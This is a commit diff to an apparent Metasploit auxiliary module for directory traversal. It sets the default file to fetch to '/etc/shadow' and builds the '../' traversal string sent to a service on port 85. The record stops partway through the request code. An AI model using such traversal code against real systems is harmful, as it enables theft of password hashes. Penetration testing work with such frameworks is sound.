Instead of deleting the "/", here's a different approach

unstable
sinn3r 2012-07-06 01:23:41 -05:00
parent 7876d7fd60
commit ecb4e20c92
1 changed files with 2 additions and 1 deletions

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(85), Opt::RPORT(85),
OptString.new('FILEPATH', [false, 'The name of the file to download', 'etc/shadow']), OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/shadow']),
OptInt.new('DEPTH', [true, 'Traversal depth', 10]) OptInt.new('DEPTH', [true, 'Traversal depth', 10])
], self.class) ], self.class)
end end
@ -50,6 +50,7 @@ class Metasploit3 < Msf::Auxiliary
end end
travs = "../" * datastore['DEPTH'] travs = "../" * datastore['DEPTH']
travs = travs[0,travs.rindex('/')]
# Create request # Create request
res = send_request_raw({ res = send_request_raw({